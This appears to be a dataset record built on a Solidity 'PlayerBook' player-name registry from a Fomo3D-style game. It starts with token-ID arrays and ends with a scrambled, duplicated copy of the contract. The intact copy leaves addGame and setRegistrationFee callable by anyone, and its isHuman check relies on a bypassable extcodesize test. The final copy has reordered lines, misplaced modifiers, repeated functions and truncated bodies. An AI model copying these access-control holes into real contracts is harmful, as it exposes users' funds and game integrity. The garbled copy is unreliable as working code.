3778,
324,
13,
288,
203,
377,
202,
70,
273,
394,
1731,
12,
1578,
1769,
203,
202,
97,
203,
202,
203,
377,
202,
28050,
288,
312,
2233,
12,
1289,
12,
70,
16,
3847,
3631,
619,
13,
289,
203,
202,
915,
714,
12,
1080,
3778,
279,
16,
533,
3778,
324,
13,
2713,
16618,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
533,
12,
21457,
18,
3015,
4420,
329,
12,
69,
16,
324,
10019,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
/**
* , ,
* $, $, ,
* "ss.$ss. .s'
* , .ss$$$$$$$$$$s,
* $. s$$$$$$$$$$$$$$`$$Ss
* "$$$$$$$$$$$$$$$$$$o$$$ ,
* s$$$$$$$$$$$$$$$$$$$$$$$$s, ,s
* s$$$$$$$$$"$$$$$$""""$$$$$$"$$$$$,
* s$$$$$$$$$$s""$$$$ssssss"$$$$$$$$"
* s$$$$$$$$$$' `"""ss"$"$s""
* s$$$$$$$$$$, `"""""$ .s$$s
* s$$$$$$$$$$$$s,... `s$$' `
* `ssss$$$$$$$$$$$$$$$$$$$$####s. .$$"$. , s-
* `""""$$$$$$$$$$$$$$$$$$$$#####$$$$$$" $.$'
* 祝你成功 "$$$$$$$$$$$$$$$$$$$$$####s"" .$$$|
* 福 喜喜 "$$$$$$$$$$$$$$$$$$$$$$$$##s .$$" $
* $$""$$$$$$$$$$$$$$$$$$$$$$$$$$$$$" `
* $$" "$"$$$$$$$$$$$$$$$$$$$$S""""'
* , ," ' $$$$$$$$$$$$$$$$####s
* $. .s$$$$$$$$$$$$$$$$$####"
* , "$s. ..ssS$$$$$$$$$$$$$$$$$$$####"
* $ .$$$S$$$$$$$$$$$$$$$$$$$$$$$$#####"
* Ss ..sS$$$$$$$$$$$$$$$$$$$$$$$$$$$######""
* "$$sS$$$$$$$$$$$$$$$$$$$$$$$$$$$########"
* , s$$$$$$$$$$$$$$$$$$$$$$$$#########""'
* $ s$$$$$$$$$$$$$$$$$$$$$#######""' s' ,
* $$..$$$$$$$$$$$$$$$$$$######"' ....,$$.... ,$
* "$$$$$$$$$$$$$$$######"' , .sS$$$$$$$$$$$$$$$$s$$
* $$$$$$$$$$$$#####" $, .s$$$$$$$$$$$$$$$$$$$$$$$$s.
* ) $$$$$$$$$$$#####' `$$$$$$$$$###########$$$$$$$$$$$.
* (( $$$$$$$$$$$##### $$$$$$$$###" "####$$$$$$$$$$
* ) \ $$$$$$$$$$$$####. $$$$$$###" "###$$$$$$$$$ s'
* ( ) $$$$$$$$$$$$$####. $$$$$###" ####$$$$$$$$s$$'
* ) ( ( $$"$$$$$$$$$$$#####.$$$$$###' .###$$$$$$$$$$"
* ( ) ) _,$" $$$$$$$$$$$$######.$$##' .###$$$$$$$$$$
* ) ( ( \. "$$$$$$$$$$$$$#######,,,. ..####$$$$$$$$$$$"
*( )$ ) ) ,$$$$$$$$$$$$$$$$$$####################$$$$$$$$$$$"
*( ($$ ( \ _sS" `"$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$S$$,
* ) )$$$s ) ) . . `$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"' `$$
* ( $$$Ss/ .$, .$,,s$$$$$$##S$$$$$$$$$$$$$$$$$$$$$$$$S"" '
* \)_$$$$$$$$$$$$$$$$$$$$$$$##" $$ `$$. `$$.
* `"S$$$$$$$$$$$$$$$$$#" $ `$ `$
* `"""""""""""""' ' ' '
*/
interface PlayerBookReceiverInterface {
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external;
function receivePlayerNameList(uint256 _pID, bytes32 _name) external;
}
contract PlayerBook {
using NameFilter for string;
using SafeMath for uint256;
address private admin = msg.sender;
//==============================================================================
// _| _ _|_ _ _ _ _|_ _ .
// (_|(_| | (_| _\(/_ | |_||_) .
//=============================|================================================
uint256 public registrationFee_ = 10 finney; // 注册名称的价格
mapping(uint256 => PlayerBookReceiverInterface) public games_; // 映射我们的游戏界面,将您的帐户信息发送到游戏
mapping(address => bytes32) public gameNames_; // 查找游戏名称
mapping(address => uint256) public gameIDs_; // 查找游戏ID
uint256 public gID_; // 游戏总数
uint256 public pID_; // 球员总数
mapping (address => uint256) public pIDxAddr_; // (addr => pID) 按地址返回玩家ID
mapping (bytes32 => uint256) public pIDxName_; // (name => pID) 按名称返回玩家ID
mapping (uint256 => Player) public plyr_; // (pID => data) 球员数据
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) 玩家拥有的名字列表。 (用于这样你就可以改变你的显示名称,而不管你拥有的任何名字)
mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_; // (pID => nameNum => name) 玩家拥有的名字列表
struct Player {
address addr;
bytes32 name;
uint256 laff;
uint256 names;
}
//==============================================================================
// _ _ _ __|_ _ __|_ _ _ .
// (_(_)| |_\ | | |_|(_ | (_)| . (合同部署时的初始数据设置)
//==============================================================================
constructor()
public
{
// premine the dev names (sorry not sorry)
// No keys are purchased with this method, it's simply locking our addresses,
// PID's and names for referral codes.
plyr_[1].addr = 0x8e0d985f3Ec1857BEc39B76aAabDEa6B31B67d53;
plyr_[1].name = "justo";
plyr_[1].names = 1;
pIDxAddr_[0x8e0d985f3Ec1857BEc39B76aAabDEa6B31B67d53] = 1;
pIDxName_["justo"] = 1;
plyrNames_[1]["justo"] = true;
plyrNameList_[1][1] = "justo";
plyr_[2].addr = 0x8b4DA1827932D71759687f925D17F81Fc94e3A9D;
plyr_[2].name = "mantso";
plyr_[2].names = 1;
pIDxAddr_[0x8b4DA1827932D71759687f925D17F81Fc94e3A9D] = 2;
pIDxName_["mantso"] = 2;
plyrNames_[2]["mantso"] = true;
plyrNameList_[2][1] = "mantso";
plyr_[3].addr = 0x7ac74Fcc1a71b106F12c55ee8F802C9F672Ce40C;
plyr_[3].name = "sumpunk";
plyr_[3].names = 1;
pIDxAddr_[0x7ac74Fcc1a71b106F12c55ee8F802C9F672Ce40C] = 3;
pIDxName_["sumpunk"] = 3;
plyrNames_[3]["sumpunk"] = true;
plyrNameList_[3][1] = "sumpunk";
plyr_[4].addr = 0x18E90Fc6F70344f53EBd4f6070bf6Aa23e2D748C;
plyr_[4].name = "inventor";
plyr_[4].names = 1;
pIDxAddr_[0x18E90Fc6F70344f53EBd4f6070bf6Aa23e2D748C] = 4;
pIDxName_["inventor"] = 4;
plyrNames_[4]["inventor"] = true;
plyrNameList_[4][1] = "inventor";
pID_ = 4;
}
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (这些是安全检查)
//==============================================================================
/**
* @dev 防止合同与worldfomo交互
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isRegisteredGame()
{
require(gameIDs_[msg.sender] != 0);
_;
}
//==============================================================================
// _ _ _ _|_ _ .
// (/_\/(/_| | | _\ .
//==============================================================================
// 只要玩家注册了名字就会被解雇
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
//==============================================================================
// _ _ _|__|_ _ _ _ .
// (_|(/_ | | (/_| _\ . (用于UI和查看etherscan上的内容)
//=====_|=======================================================================
function checkIfNameValid(string _nameStr)
public
view
returns(bool)
{
bytes32 _name = _nameStr.nameFilter();
if (pIDxName_[_name] == 0)
return (true);
else
return (false);
}
//==============================================================================
// _ |_ |. _ |` _ __|_. _ _ _ .
// |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (使用这些与合同互动)
//====|=========================================================================
/**
* @dev 注册一个名字。 UI将始终显示您注册的姓氏。
* 但您仍将拥有所有以前注册的名称以用作联属会员
* - 必须支付注册费。
* - 名称必须是唯一的
* - 名称将转换为小写
* - 名称不能以空格开头或结尾
* - 连续不能超过1个空格
* - 不能只是数字
* - 不能以0x开头
* - name必须至少为1个字符
* - 最大长度为32个字符
* - 允许的字符:a-z,0-9和空格
* -functionhash- 0x921dec21 (使用ID作为会员)
* -functionhash- 0x3ddd4698 (使用联盟会员的地址)
* -functionhash- 0x685ffd83 (使用联盟会员的名称)
* @param _nameString 球员想要的名字
* @param _affCode 会员ID,地址或谁提到你的名字
* @param _all 如果您希望将信息推送到所有游戏,则设置为true
* (这可能会耗费大量气体)
*/
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
// 确保支付名称费用
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// 过滤器名称+条件检查
bytes32 _name = NameFilter.nameFilter(_nameString);
// 设置地址
address _addr = msg.sender;
// 设置我们的tx事件数据并确定玩家是否是新手
bool _isNewPlayer = determinePID(_addr);
// 获取玩家ID
uint256 _pID = pIDxAddr_[_addr];
// 管理会员残差
// 如果没有给出联盟代码,则没有给出新的联盟代码,或者
// 玩家试图使用自己的pID作为联盟代码
if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID)
{
// 更新最后一个会员
plyr_[_pID].laff = _affCode;
} else if (_affCode == _pID) {
_affCode = 0;
}
// 注册名称
registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
// 确保支付名称费用
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// 过滤器名称+条件检查
bytes32 _name = NameFilter.nameFilter(_nameString);
// 设置地址
address _addr = msg.sender;
// 设置我们的tx事件数据并确定玩家是否是新手
bool _isNewPlayer = determinePID(_addr);
// 获取玩家ID
uint256 _pID = pIDxAddr_[_addr];
// 管理会员残差
// 如果没有给出联盟代码或者玩家试图使用他们自己的代码
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
// 从aff Code获取会员ID
_affID = pIDxAddr_[_affCode];
// 如果affID与先前存储的不同
if (_affID != plyr_[_pID].laff)
{
// 更新最后一个会员
plyr_[_pID].laff = _affID;
}
}
// 注册名称
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
// 确保支付名称费用
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// 过滤器名称+条件检查
bytes32 _name = NameFilter.nameFilter(_nameString);
// 设置地址
address _addr = msg.sender;
// 设置我们的tx事件数据并确定玩家是否是新手
bool _isNewPlayer = determinePID(_addr);
// 获取玩家ID
uint256 _pID = pIDxAddr_[_addr];
// 管理会员残差
// 如果没有给出联盟代码或者玩家试图使用他们自己的代码
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
// 从aff Code获取会员ID
_affID = pIDxName_[_affCode];
// 如果affID与先前存储的不同
if (_affID != plyr_[_pID].laff)
{
// 更新最后一个会员
plyr_[_pID].laff = _affID;
}
}
// 注册名称
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
/**
* @dev 玩家,如果您在游戏发布之前注册了个人资料,或者
* 注册时将all bool设置为false,使用此功能进行推送
* 你对一场比赛的个人资料。另外,如果你更新了你的名字,那么你
* 可以使用此功能将您的名字推送到您选择的游戏中。
* -functionhash- 0x81c5b206
* @param _gameID 游戏ID
*/
function addMeToGame(uint256 _gameID)
isHuman()
public
{
require(_gameID <= gID_, "silly player, that game doesn't exist yet");
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _totalNames = plyr_[_pID].names;
// 添加玩家个人资料和最新名称
games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff);
// 添加所有名称的列表
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
/**
* @dev 玩家,使用此功能将您的玩家资料推送到所有已注册的游戏。
* -functionhash- 0x0c6940ea
*/
function addMeToAllGames()
isHuman()
public
{
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _laff = plyr_[_pID].laff;
uint256 _totalNames = plyr_[_pID].names;
bytes32 _name = plyr_[_pID].name;
for (uint256 i = 1; i <= gID_; i++)
{
games_[i].receivePlayerInfo(_pID, _addr, _name, _laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
}
/**
* @dev 玩家使用它来改回你的一个旧名字。小费,你会的
* 仍然需要将该信息推送到现有游戏。
* -functionhash- 0xb9291296
* @param _nameString 您要使用的名称
*/
function useMyOldName(string _nameString)
isHuman()
public
{
// 过滤器名称,并获取pID
bytes32 _name = _nameString.nameFilter();
uint256 _pID = pIDxAddr_[msg.sender];
// 确保他们拥有这个名字
require(plyrNames_[_pID][_name] == true, "umm... thats not a name you own");
// 更新他们当前的名字
plyr_[_pID].name = _name;
}
//==============================================================================
// _ _ _ _ | _ _ . _ .
// (_(_)| (/_ |(_)(_||(_ .
//=====================_|=======================================================
function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all)
private
{
// 如果已使用名称,则要求当前的msg发件人拥有该名称
if (pIDxName_[_name] != 0)
require(plyrNames_[_pID][_name] == true, "sorry that names already taken");
// 为播放器配置文件,注册表和名称簿添加名称
plyr_[_pID].name = _name;
pIDxName_[_name] = _pID;
if (plyrNames_[_pID][_name] == false)
{
plyrNames_[_pID][_name] = true;
plyr_[_pID].names++;
plyrNameList_[_pID][plyr_[_pID].names] = _name;
}
// 注册费直接归于社区奖励
admin.transfer(address(this).balance);
// 将玩家信息推送到游戏
if (_all == true)
for (uint256 i = 1; i <= gID_; i++)
games_[i].receivePlayerInfo(_pID, _addr, _name, _affID);
// 火灾事件
emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now);
}
//==============================================================================
// _|_ _ _ | _ .
// | (_)(_)|_\ .
//==============================================================================
function determinePID(address _addr)
private
returns (bool)
{
if (pIDxAddr_[_addr] == 0)
{
pID_++;
pIDxAddr_[_addr] = pID_;
plyr_[pID_].addr = _addr;
// 将新玩家bool设置为true
return (true);
} else {
return (false);
}
}
//==============================================================================
// _ _|_ _ _ _ _ | _ _ || _ .
// (/_>< | (/_| | |(_|| (_(_|||_\ .
//==============================================================================
function getPlayerID(address _addr)
isRegisteredGame()
external
returns (uint256)
{
determinePID(_addr);
return (pIDxAddr_[_addr]);
}
function getPlayerName(uint256 _pID)
external
view
returns (bytes32)
{
return (plyr_[_pID].name);
}
function getPlayerLAff(uint256 _pID)
external
view
returns (uint256)
{
return (plyr_[_pID].laff);
}
function getPlayerAddr(uint256 _pID)
external
view
returns (address)
{
return (plyr_[_pID].addr);
}
function getNameFee()
external
view
returns (uint256)
{
return(registrationFee_);
}
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
// 确保支付名称费用
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// 设置我们的tx事件数据并确定玩家是否是新手
bool _isNewPlayer = determinePID(_addr);
// 获取玩家ID
uint256 _pID = pIDxAddr_[_addr];
// 管理会员残差
// 如果没有给出联盟代码,则没有给出新的联盟代码,或者
// 玩家试图使用自己的pID作为联盟代码
uint256 _affID = _affCode;
if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID)
{
// 更新最后一个会员
plyr_[_pID].laff = _affID;
} else if (_affID == _pID) {
_affID = 0;
}
// 注册名称
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
// 确保支付名称费用
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// 设置我们的tx事件数据并确定玩家是否是新手
bool _isNewPlayer = determinePID(_addr);
// 获取玩家ID
uint256 _pID = pIDxAddr_[_addr];
// 管理会员残差
// 如果没有给出联盟代码或者玩家试图使用他们自己的代码
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
// 从aff Code获取会员ID
_affID = pIDxAddr_[_affCode];
// 如果affID与先前存储的不同
if (_affID != plyr_[_pID].laff)
{
// 更新最后一个会员
plyr_[_pID].laff = _affID;
}
}
// 注册名称
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
// 确保支付名称费用
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// 设置我们的tx事件数据并确定玩家是否是新手
bool _isNewPlayer = determinePID(_addr);
// 获取玩家ID
uint256 _pID = pIDxAddr_[_addr];
// 管理会员残差
// 如果没有给出联盟代码或者玩家试图使用他们自己的代码
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
// 从aff Code获取会员ID
_affID = pIDxName_[_affCode];
// 如果affID与先前存储的不同
if (_affID != plyr_[_pID].laff)
{
// 更新最后一个会员
plyr_[_pID].laff = _affID;
}
}
// 注册名称
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
//==============================================================================
// _ _ _|_ _ .
// _\(/_ | |_||_) .
//=============|================================================================
function addGame(address _gameAddress, string _gameNameStr)
public
{
require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered");
gID_++;
bytes32 _name = _gameNameStr.nameFilter();
gameIDs_[_gameAddress] = gID_;
gameNames_[_gameAddress] = _name;
games_[gID_] = PlayerBookReceiverInterface(_gameAddress);
games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0);
games_[gID_].receivePlayerInfo(2, plyr_[2].addr, plyr_[2].name, 0);
games_[gID_].receivePlayerInfo(3, plyr_[3].addr, plyr_[3].name, 0);
games_[gID_].receivePlayerInfo(4, plyr_[4].addr, plyr_[4].name, 0);
}
function setRegistrationFee(uint256 _fee)
public
{
registrationFee_ = _fee;
}
}
library NameFilter {
/**
* @dev 过滤名称字符串
* -将大写转换为小写。
* -确保它不以空格开始/结束
* -确保它不包含连续的多个空格
* -不能只是数字
* -不能以0x开头
* -将字符限制为A-Z,a-z,0-9和空格。
* @return 以字节32格式重新处理的字符串
*/
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
//对不起限于32个字符
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
//确保它不以空格开头或以空格结尾
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
// 确保前两个字符不是0x
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
// 创建一个bool来跟踪我们是否有非数字字符
bool _hasNonNumber;
// 转换和检查
for (uint256 i = 0; i < _length; i++)
{
// 如果它的大写A-Z
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
// 转换为小写a-z
_temp[i] = byte(uint(_temp[i]) + 32);
// 我们有一个非数字
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
// 要求角色是一个空间
_temp[i] == 0x20 ||
// 或小写a-z
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
// 或0-9
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
// 确保连续两行不是空格
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
// 看看我们是否有一个数字以外的字符
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
/**
* @title SafeMath v0.1.9
* @dev 带有安全检查的数学运算会引发错误
* - 添加 sqrt
* - 添加 sq
* - 添加 pwr
* - 将断言更改为需要带有错误日志输出
* - 删除div,它没用
*/
library SafeMath {
/**
* @dev 将两个数字相乘,抛出溢出。
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev 减去两个数字,在溢出时抛出(即,如果减数大于减数)。
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev 添加两个数字,溢出时抛出。
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev 给出给定x的平方根。
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev 给广场。将x乘以x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x到y的力量
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
|
============================================================================== _| _ _|_ _ _ _ _|_ _ . (_|(_| | (_| _\(/_ | |_||_) .=============================|================================================
|
contract PlayerBook {
using NameFilter for string;
using SafeMath for uint256;
address private admin = msg.sender;
struct Player {
address addr;
bytes32 name;
uint256 laff;
uint256 names;
}
public
constructor()
{
plyr_[1].addr = 0x8e0d985f3Ec1857BEc39B76aAabDEa6B31B67d53;
plyr_[1].name = "justo";
plyr_[1].names = 1;
pIDxAddr_[0x8e0d985f3Ec1857BEc39B76aAabDEa6B31B67d53] = 1;
pIDxName_["justo"] = 1;
plyrNames_[1]["justo"] = true;
plyrNameList_[1][1] = "justo";
plyr_[2].addr = 0x8b4DA1827932D71759687f925D17F81Fc94e3A9D;
plyr_[2].name = "mantso";
plyr_[2].names = 1;
pIDxAddr_[0x8b4DA1827932D71759687f925D17F81Fc94e3A9D] = 2;
pIDxName_["mantso"] = 2;
plyrNames_[2]["mantso"] = true;
plyrNameList_[2][1] = "mantso";
plyr_[3].addr = 0x7ac74Fcc1a71b106F12c55ee8F802C9F672Ce40C;
plyr_[3].name = "sumpunk";
plyr_[3].names = 1;
pIDxAddr_[0x7ac74Fcc1a71b106F12c55ee8F802C9F672Ce40C] = 3;
pIDxName_["sumpunk"] = 3;
plyrNames_[3]["sumpunk"] = true;
plyrNameList_[3][1] = "sumpunk";
plyr_[4].addr = 0x18E90Fc6F70344f53EBd4f6070bf6Aa23e2D748C;
plyr_[4].name = "inventor";
plyr_[4].names = 1;
pIDxAddr_[0x18E90Fc6F70344f53EBd4f6070bf6Aa23e2D748C] = 4;
pIDxName_["inventor"] = 4;
plyrNames_[4]["inventor"] = true;
plyrNameList_[4][1] = "inventor";
pID_ = 4;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isRegisteredGame()
assembly {_codeLength := extcodesize(_addr)}
{
require(gameIDs_[msg.sender] != 0);
_;
}
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onNewName
function checkIfNameValid(string _nameStr)
public
view
returns(bool)
{
bytes32 _name = _nameStr.nameFilter();
if (pIDxName_[_name] == 0)
return (true);
else
return (false);
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID)
{
plyr_[_pID].laff = _affCode;
_affCode = 0;
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID)
{
plyr_[_pID].laff = _affCode;
_affCode = 0;
}
}
} else if (_affCode == _pID) {
registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all);
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
function addMeToGame(uint256 _gameID)
isHuman()
public
{
require(_gameID <= gID_, "silly player, that game doesn't exist yet");
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _totalNames = plyr_[_pID].names;
games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
function addMeToAllGames()
isHuman()
public
{
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _laff = plyr_[_pID].laff;
uint256 _totalNames = plyr_[_pID].names;
bytes32 _name = plyr_[_pID].name;
for (uint256 i = 1; i <= gID_; i++)
{
games_[i].receivePlayerInfo(_pID, _addr, _name, _laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
}
function addMeToAllGames()
isHuman()
public
{
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _laff = plyr_[_pID].laff;
uint256 _totalNames = plyr_[_pID].names;
bytes32 _name = plyr_[_pID].name;
